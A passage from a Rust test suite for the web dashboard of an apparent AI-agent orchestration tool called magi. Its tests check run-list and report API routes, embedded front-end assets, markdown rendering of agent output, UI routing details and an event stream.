12078 mk("20260902-140502-bbbb", Some(77)),
12079 mk("20260902-140502-cccc", Some(77)),
12080 mk("20260902-140502-dddd", None),
12081 ];
12082 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
12083 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
12084 let sup: HashMap<String, String> = [(
12085 "20260902-140502-aaaa".to_owned(),
12086 "20260902-140502-cccc".to_owned(),
12087 )]
12088 .into();
12089
12090 let status_calls = std::cell::Cell::new(0);
12091 let identity_calls = std::cell::Cell::new(0);
12092 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
12093 |_| {
12094 status_calls.set(status_calls.get() + 1);
12095 Some(true)
12096 },
12097 |_| {
12098 identity_calls.set(identity_calls.get() + 1);
12099 Some("1790000000".to_owned())
12100 },
12101 ));
12102 let rows = summarize(
12103 states,
12104 &open,
12105 &claimed,
12106 &sup,
12107 |p| probe.borrow_mut().status(p),
12108 |p| probe.borrow_mut().started_at(p),
12109 );
12110
12111 assert_eq!(status_calls.get(), 1, "one pid, one status query");
12112 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
12113 assert_eq!(rows.len(), 4);
12114 assert!(!rows[0].waiting && rows[1].waiting);
12115 assert_eq!(rows[0].live, crate::run::Liveness::Live);
12116 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
12117 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
12118 assert_eq!(rows[1].superseded_by, None);
12119 }
12120
12121 #[test]
12122 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
12123 let mut state = RunState::new(
12124 PathBuf::from("/repo/magi"),
12125 "main".to_owned(),
12126 "0123456789abcdef".to_owned(),
12127 "Review only".to_owned(),
12128 Config::default(),
12129 );
12130 state.id = "20260922-090200-dead".to_owned();
12131 state.status = RunStatus::Reviewing;
12132 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
12133 .expect("serialize list row");
12134 assert_eq!(row["status"], "reviewing");
12135 assert_eq!(row["live"], "dead", "{row}");
12136 assert!(!row["done"].as_bool().unwrap());
12137 }
12138
12139 #[tokio::test]
12140 async fn the_run_list_is_newest_first_and_honours_a_limit() {
12141 let f = Fixture::start().await;
12142 for id in [
12143 "20260902-140501-aaaa",
12144 "20260902-140502-bbbb",
12145 "20260902-140503-cccc",
12146 ] {
12147 write_run(&f.runs(), id, RunStatus::Merged);
12148 }
12149
12150 let all = f.get("/api/runs").await.json();
12151 let capped = f.get("/api/runs?limit=2").await.json();
12152
12153 assert_eq!(all[0]["id"], "20260902-140503-cccc");
12154 assert_eq!(all.as_array().map(Vec::len), Some(3));
12155 assert_eq!(capped.as_array().map(Vec::len), Some(2));
12156 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
12157 }
12158
12159 #[tokio::test]
12160 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
12161 let f = Fixture::start().await;
12162 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
12163
12164 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
12165
12166 assert_eq!(res.status, 200);
12167 assert!(
12168 res.headers
12169 .contains("content-type: text/plain; charset=utf-8"),
12170 "a browser must render it, not download it: {}",
12171 res.headers
12172 );
12173 assert!(
12177 res.body.contains("20260902-140501-a1b2"),
12178 "the report is about the run that was asked for: {}",
12179 res.body
12180 );
12181 }
12182
12183 #[tokio::test]
12184 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
12185 crate::run::pin_test_home();
12187 let f = Fixture::start().await;
12188 let id = "20260902-140501-a1b2";
12189 write_run(&f.runs(), id, RunStatus::Stalled);
12190 let path = f.runs().join(id).join("run.json");
12193 let mut v: serde_json::Value =
12194 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12195 v["tally"] = serde_json::json!({
12196 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
12197 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
12198 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
12199 "met_quorum": false, "rankings": 1
12200 });
12201 v["reviews"] = serde_json::json!([{
12202 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12203 "e2e_deferred": true,
12204 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12205 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12206 ]}]
12207 }]);
12208 std::fs::write(&path, v.to_string()).unwrap();
12209 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12210 std::fs::write(
12211 f.runs().join("20260902-140502-dead").join("run.json"),
12212 "{not json",
12213 )
12214 .unwrap();
12215
12216 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12217
12218 assert_eq!(res.status, 200, "{}", res.body);
12219 assert!(res.headers.contains("content-type: application/json"));
12220 let j = res.json();
12221 assert_eq!(j["schema"], 1);
12222 assert_eq!(j["header"]["id"], id);
12223 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12224 let kinds: Vec<&str> = j["sections"]
12225 .as_array()
12226 .unwrap()
12227 .iter()
12228 .map(|s| s["kind"].as_str().unwrap())
12229 .collect();
12230 assert_eq!(kinds, ["candidates", "tally", "review"]);
12231 let tally = &j["sections"][1]["tally"];
12232 assert_eq!(
12233 (tally["decided"].clone(), tally["provisional"].clone()),
12234 (false.into(), true.into())
12235 );
12236 let round = &j["sections"][2]["rounds"][0];
12237 assert_eq!(round["e2e"]["state"], "deferred");
12238 assert_eq!(round["findings"][0]["severity"], "major");
12239 assert_eq!(round["findings"][0]["blocking"], true);
12240 assert_eq!(round["findings"][0]["state"], "open");
12241
12242 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12244
12245 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12247 assert_ne!(bad.status, 200, "{}", bad.body);
12248 assert_eq!(
12249 bad.status,
12250 f.get("/api/runs/20260902-140502-dead/report").await.status
12251 );
12252 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12253 assert_eq!(
12254 f.get("/api/runs/20260902-999999-ffff/report.json")
12255 .await
12256 .status,
12257 404
12258 );
12259 }
12260
12261 #[tokio::test]
12262 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
12263 let f = Fixture::start().await;
12264
12265 let html = f.get("/").await;
12266 let css = f.get("/app.css").await;
12267 let js = f.get("/app.js").await;
12268
12269 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
12270 assert!(
12271 html.headers
12272 .contains("content-type: text/html; charset=utf-8")
12273 );
12274 assert!(css.headers.contains("content-type: text/css"));
12275 assert!(js.headers.contains("content-type: text/javascript"));
12276 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
12277 }
12278
12279 #[test]
12280 fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
12281 let body = |name: &str| {
12282 let at = APP_JS
12283 .find(name)
12284 .unwrap_or_else(|| panic!("{name} missing"));
12285 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12286 };
12287 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
12288 let note = body("function landRoundNote");
12289 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12290 assert!(note.contains("Land round ${round}"));
12291 let land = body("function renderLand");
12292 let note_at = land
12293 .find("landRoundNote(pr)")
12294 .expect("renderLand uses the note");
12295 assert!(
12296 note_at
12297 < land
12298 .find("roundRail(pr)")
12299 .expect("renderLand uses the rail")
12300 );
12301 }
12302
12303 #[test]
12304 fn the_runs_page_redesign_keeps_its_guards() {
12305 let body = |name: &str| {
12306 let at = APP_JS
12307 .find(name)
12308 .unwrap_or_else(|| panic!("{name} missing"));
12309 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12310 };
12311 let land = body("function renderLand");
12313 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
12314 assert!(
12315 !land.contains("box.append("),
12316 "renderLand must use append()"
12317 );
12318 assert!(land.contains("append(box, ["));
12319 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
12321 assert!(
12322 body("function applyRoute")
12323 .contains("route.name !== state.route.name || route.id !== state.route.id")
12324 );
12325 assert!(!APP_JS.contains("adviseConvergeDiagram"));
12327 assert!(!INDEX_HTML.contains("advise-converge"));
12328 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
12329 assert!(APP_JS.contains("provisional"));
12330 for id in [
12331 "run-tab-overview",
12332 "run-tab-timeline",
12333 "run-tab-report",
12334 "run-report",
12335 "runs-scope",
12336 ] {
12337 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
12338 }
12339 assert!(!INDEX_HTML.contains("runs-tree"));
12340 assert!(!INDEX_HTML.contains("run-raw-panel"));
12341 assert!(APP_JS.contains("resume"));
12343 assert!(APP_JS.contains("unreadable"));
12345 }
12346
12347 #[test]
12348 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
12349 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
12350 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
12351 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
12352 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
12353 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
12354 assert!(APP_JS.contains("unreadable` : null"));
12356 }
12357
12358 #[test]
12359 fn the_run_detail_payload_says_whether_the_run_is_done() {
12360 for (status, done) in [
12362 (RunStatus::Superseded, true),
12363 (RunStatus::Blocked, true),
12364 (RunStatus::Landing, false),
12365 ] {
12366 let mut state = RunState::new(
12367 std::path::PathBuf::from("/repo"),
12368 "main".to_owned(),
12369 "abc".to_owned(),
12370 "x".to_owned(),
12371 crate::config::Config::default(),
12372 );
12373 state.status = status;
12374 let v = serde_json::to_value(RunDetailView::of(
12375 state,
12376 crate::run::Liveness::Unknown,
12377 None,
12378 None,
12379 None,
12380 ))
12381 .unwrap();
12382 assert_eq!(v["done"], done, "{status:?}");
12383 }
12384 }
12385
12386 fn has_strong(nodes: &[md::Node]) -> bool {
12388 serde_json::to_string(nodes).unwrap().contains("strong")
12389 }
12390
12391 #[test]
12392 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
12393 let mut state = RunState::new(
12394 std::path::PathBuf::from("/repo"),
12395 "main".to_owned(),
12396 "abc".to_owned(),
12397 "x".to_owned(),
12398 crate::config::Config::default(),
12399 );
12400 let proposal = |approach: &str| {
12401 serde_json::json!({
12402 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
12403 })
12404 };
12405 state.advice = Some(
12406 serde_json::from_value(serde_json::json!({
12407 "records": [
12408 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
12409 "proposal": proposal("do **this**")},
12410 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
12411 ],
12412 "synthesis": "- one\n- **two**\n\n`code`",
12413 }))
12414 .unwrap(),
12415 );
12416 state.candidates = serde_json::from_value(serde_json::json!([
12417 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
12418 "summary": "did **it**"},
12419 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
12420 ]))
12421 .unwrap();
12422 state.reviews = serde_json::from_value(serde_json::json!([{
12425 "round": 1, "head": "h",
12426 "reviews": [{
12427 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
12428 "findings": [
12429 {"severity": "nit", "title": "t1", "detail": "plain nit"},
12430 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
12431 ],
12432 }],
12433 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
12434 "fix": {"agent": "a", "notes": "fixed **it**",
12435 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
12436 }, {"round": 2, "head": "h2", "reviews": []}]))
12437 .unwrap();
12438
12439 let v = serde_json::to_value(RunDetailView::of(
12440 state,
12441 crate::run::Liveness::Unknown,
12442 None,
12443 None,
12444 None,
12445 ))
12446 .unwrap();
12447
12448 let strong = |p: &str| {
12449 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12450 assert!(n.to_string().contains("strong"), "{p}: {n}");
12451 };
12452 strong("/advice_md/synthesis");
12453 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12454 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12455 strong("/advice_md/approaches/0");
12456 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12457 strong("/candidate_summaries_md/0");
12458 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12459 strong("/reviews_md/0/reviewers/0/summary");
12460 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12461 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12462 assert!(f[1].to_string().contains("strong"));
12463 strong("/reviews_md/0/reconsideration/0");
12464 strong("/reviews_md/0/fix/notes");
12465 strong("/reviews_md/0/fix/rejected/0");
12466 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12467 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12468 assert_eq!(v["candidates"][0]["summary"], "did **it**");
12470 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12471 }
12472
12473 #[test]
12474 fn a_run_without_advice_has_no_advice_md() {
12475 let state = RunState::new(
12476 std::path::PathBuf::from("/repo"),
12477 "main".to_owned(),
12478 "abc".to_owned(),
12479 "x".to_owned(),
12480 crate::config::Config::default(),
12481 );
12482 let p = run_prose_md(&state);
12483 assert!(p.advice_md.is_none());
12484 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12485 }
12486
12487 #[test]
12488 fn a_question_view_carries_markdown_for_each_thread_turn() {
12489 let home = TempDir::new().unwrap();
12490 let store = ask::Questions::at(home.path().join("questions"));
12491 let mut q = Question::new(
12492 "run".to_owned(),
12493 "implement".to_owned(),
12494 "impl-A".to_owned(),
12495 "which?".to_owned(),
12496 String::new(),
12497 Vec::new(),
12498 );
12499 q.say("plain words").unwrap();
12500 q.reply("use **this**", Vec::new()).unwrap();
12501 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12502 let bodies = &v["thread_bodies_md"];
12503 assert_eq!(bodies.as_array().unwrap().len(), 2);
12504 assert!(!bodies[0].to_string().contains("strong"));
12505 assert!(bodies[1].to_string().contains("strong"));
12506 }
12507
12508 #[test]
12509 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
12510 let home = TempDir::new().unwrap();
12511 let store = ask::Questions::at(home.path().join("questions"));
12512 let mut q = Question::new(
12513 "run".to_owned(),
12514 "conduct".to_owned(),
12515 "conduct".to_owned(),
12516 "which?".to_owned(),
12517 String::new(),
12518 Vec::new(),
12519 );
12520 q.say("plain words").unwrap();
12521 q.thread.push(ask::Turn {
12522 who: ask::Who::Agent,
12523 body: "Settled as `merge`".to_owned(),
12524 at: jiff::Timestamp::now(),
12525 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
12526 });
12527 let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12528 let notes = &v["thread_notes_md"];
12529 assert_eq!(notes.as_array().unwrap().len(), 2);
12530 assert!(notes[0].is_null());
12531 let text = notes[1].to_string();
12532 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
12533 assert!(APP_JS.contains("ask-turn-note"));
12534 }
12535
12536 #[test]
12537 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12538 assert!(APP_JS.contains("function landView(run, raw) {"));
12542 assert!(
12543 APP_JS.contains(
12544 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12545 )
12546 );
12547 assert!(APP_JS.contains("const pr = landView(run, raw);"));
12548 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12549 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12550 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12551 }
12552
12553 #[test]
12554 fn live_runs_are_never_hidden_or_folded_as_superseded() {
12555 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
12556 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12557 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12558 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12559 }
12560
12561 #[test]
12562 fn review_rounds_label_a_distinct_verified_head() {
12563 assert!(APP_JS.contains("round.verified_head"));
12564 assert!(APP_JS.contains("verified HEAD"));
12565 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12566 }
12567
12568 #[test]
12569 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12570 assert!(APP_JS.contains("blocked: { glyph:"));
12574 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12575
12576 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12580 assert!(
12581 APP_JS.contains(
12582 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12583 ),
12584 "the note line must name what a blocked task is waiting on, not just that it is blocked"
12585 );
12586 assert!(APP_JS.contains("if (status === \"blocked\") {"));
12590
12591 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12595 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12596 assert!(
12597 APP_JS.contains("location.hash = \"#/questions\";"),
12598 "a question node must jump to the Questions screen, not pretend to be a task"
12599 );
12600
12601 assert!(APP_JS.contains("Resolved questions"));
12604 assert!(APP_JS.contains("r.answersList.append("));
12605 assert!(APP_CSS.contains(".task-answers"));
12606 {
12607 let start = APP_JS
12608 .find("function updateTalkTaskRow")
12609 .expect("updateTalkTaskRow");
12610 let body = &APP_JS[start..];
12611 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12612 assert!(
12613 body.contains(
12614 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12615 ),
12616 "a chat-filed task row must link to the task page"
12617 );
12618 assert!(
12619 !body.contains("#/runs/") && !body.contains("#/queue/"),
12620 "the row must not branch to a run or the queue card"
12621 );
12622 assert!(APP_CSS.contains(".talk-task-link"));
12623 }
12624 }
12625
12626 #[test]
12627 fn a_task_notification_links_to_the_task_page() {
12628 let start = APP_JS
12630 .find("function noticeLink(")
12631 .expect("noticeLink exists");
12632 let body = &APP_JS[start..];
12633 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12634 assert!(
12635 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12636 "a task notice's link must target the task page"
12637 );
12638 assert!(
12639 !body.contains("#/queue/"),
12640 "regression: the task link must not go back to the Backlog route"
12641 );
12642 assert!(
12643 APP_JS.contains(
12644 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12645 ),
12646 "`#/tasks/<id>` must parse into the task route"
12647 );
12648
12649 assert!(
12651 APP_JS.contains(
12652 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12653 ),
12654 "`#/queue/<id>` must parse into a route carrying that id"
12655 );
12656
12657 assert!(APP_JS.contains("state.queueFocus = route.id;"));
12661 assert!(APP_JS.contains("function consumeQueueFocus()"));
12662 assert!(APP_JS.contains("jumpToTask(id)"));
12663 }
12664
12665 #[test]
12668 fn chat_rows_put_the_title_alone_on_the_first_line() {
12669 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
12670 assert!(APP_CSS.contains(
12671 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12672 ));
12673 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12674 assert!(APP_JS.contains("class: \"badge talk-unread\""));
12675 }
12676
12677 #[test]
12678 fn run_rows_put_the_title_alone_on_the_first_line() {
12679 assert!(
12680 APP_CSS.contains(
12681 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
12682 )
12683 );
12684 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12685 assert!(APP_JS.contains("class: \"card run-card\""));
12686 assert!(APP_JS.contains("class: \"repo run-id\""));
12687 }
12688
12689 #[test]
12693 fn wide_screens_show_list_and_preview_side_by_side() {
12694 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12696 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12697 assert!(APP_CSS.contains("main[data-split]"));
12698 assert!(APP_CSS.contains("body[data-split]"));
12699
12700 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
12702 assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
12703 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
12704 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
12705 assert!(INDEX_HTML.contains("id=\"split-empty\""));
12706
12707 assert!(APP_JS.contains("function markSelected() {"));
12709 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
12710 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
12711 assert!(
12713 APP_CSS.contains(
12714 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
12715 )
12716 );
12717
12718 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
12720 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
12721 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
12722 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
12723
12724 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
12728 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
12729 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
12730 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
12731
12732 assert!(APP_JS.contains("sandbox: \"\""));
12734 assert!(!APP_JS.contains("sandbox: \"allow"));
12735 }
12736
12737 #[test]
12738 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
12739 assert!(
12748 APP_JS.contains(
12749 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
12750 ),
12751 "the search-clearing branch must run before state.queueFocus is cleared, or the \
12752 recursive renderQueue() call has nothing left to jump to"
12753 );
12754 assert!(
12755 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
12756 "state.queueFocus must be cleared only once the jump has landed, so a card that \
12757 arrives later still gets it"
12758 );
12759 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
12760 assert!(APP_JS.contains("is not in the current Backlog."));
12761 assert!(APP_JS.contains("li.card[data-task-id=\""));
12762 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
12763 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
12764 assert!(APP_CSS.contains(".card-permalink"));
12765 assert!(APP_CSS.contains(".queue-focus-status"));
12766 assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
12767 }
12768
12769 #[test]
12770 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
12771 assert!(
12779 APP_JS.contains(
12780 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
12781 ),
12782 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
12783 );
12784 }
12785
12786 #[test]
12787 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
12788 assert!(
12789 APP_JS.contains("round.verified_head !== round.head"),
12790 "a round that verified an earlier commit must be visibly distinct from one that \
12791 verified the head reviewers are looking at now"
12792 );
12793 assert!(
12794 APP_JS.contains("round.verified_at"),
12795 "when a check ran must be on the wire, not just which commit"
12796 );
12797 assert!(
12798 APP_JS.contains("resource_blocked"),
12799 "a command magi never got to run (shared build cache contention) must not render \
12800 the same as a command that ran and failed"
12801 );
12802 }
12803
12804 #[test]
12805 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
12806 assert!(
12814 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
12815 "every KPI tile built through statusTile() must route its click through \
12816 openRunsFiltered, the single place that sets the Runs filter"
12817 );
12818 for (label, status) in [
12819 ("Merged", "merged"),
12820 ("Ready", "ready"),
12821 ("Blocked", "blocked"),
12822 ("Stalled", "stalled"),
12823 ] {
12824 let call = format!("statusTile(\"{label}\", t.{status}, ");
12825 assert!(
12826 APP_JS.contains(&call),
12827 "expected the {label} KPI tile built via {call}..."
12828 );
12829 assert!(
12830 APP_JS.contains(&format!("status === \"{status}\"")),
12831 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
12832 compare a run against, not one invented only for the stats tile"
12833 );
12834 }
12835 assert!(
12836 APP_JS.contains("function openRunsFiltered(status)"),
12837 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
12838 );
12839 assert!(
12840 APP_JS.contains(
12841 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
12842 ),
12843 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
12844 );
12845 assert!(
12853 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
12854 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
12855 hashchange event that may never fire"
12856 );
12857 }
12858
12859 #[test]
12860 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
12861 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
12867 assert!(
12868 APP_JS.contains(
12869 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
12870 ),
12871 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
12872 guard for an incompatible tree section"
12873 );
12874 }
12875
12876 #[test]
12877 fn every_stats_queue_tile_names_a_real_queue_section() {
12878 assert!(
12884 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
12885 "every queue tile built through sectionTile() must route its click through \
12886 openQueueSectionFocus"
12887 );
12888 for key in ["upnext", "running", "done", "held", "blocked"] {
12889 assert!(
12890 APP_JS.contains(&format!("{{ key: \"{key}\",")),
12891 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
12892 );
12893 }
12894 for line in [
12898 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
12899 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
12900 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
12901 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
12902 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
12903 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
12904 ] {
12905 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
12906 }
12907 }
12908
12909 #[test]
12910 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
12911 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
12918 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
12919 assert!(APP_JS.contains("function revealQueueSection(details)"));
12920 assert!(
12921 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
12922 "renderQueue() must consume both focus channels on every pass"
12923 );
12924 assert!(
12925 APP_JS.contains(
12926 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
12927 ),
12928 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
12929 the recursive renderQueue() call has nothing left to reveal"
12930 );
12931 assert!(
12932 APP_JS.contains(
12933 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
12934 ),
12935 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
12936 );
12937 assert!(
12945 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
12946 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
12947 hashchange event that may never fire"
12948 );
12949 }
12950
12951 #[tokio::test]
12952 async fn the_change_stream_announces_the_current_revisions_on_connect() {
12953 let f = Fixture::start().await;
12954
12955 let mut socket = tokio::net::TcpStream::connect(f.addr)
12956 .await
12957 .expect("connect");
12958 socket
12959 .write_all(
12960 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
12961 )
12962 .await
12963 .expect("write request");
12964
12965 let mut seen = String::new();
12968 let mut buf = [0u8; 1024];
12969 while !seen.contains("event: change") {
12970 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
12971 .await
12972 .expect("the stream must speak within five seconds")
12973 .expect("read");
12974 assert!(read > 0, "the server closed the change stream: {seen}");
12975 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
12976 }
12977
12978 assert!(
12979 seen.to_lowercase()
12980 .contains("content-type: text/event-stream"),
12981 "the browser only reconnects automatically for a real SSE stream: {seen}"
12982 );
12983 let data = seen
12984 .lines()
12985 .find_map(|l| l.strip_prefix("data:"))
12986 .expect("a data line");
12987 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
12988 assert!(
12989 payload["queue_rev"].is_u64()
12990 && payload["runs_rev"].is_u64()
12991 && payload["questions_rev"].is_u64()
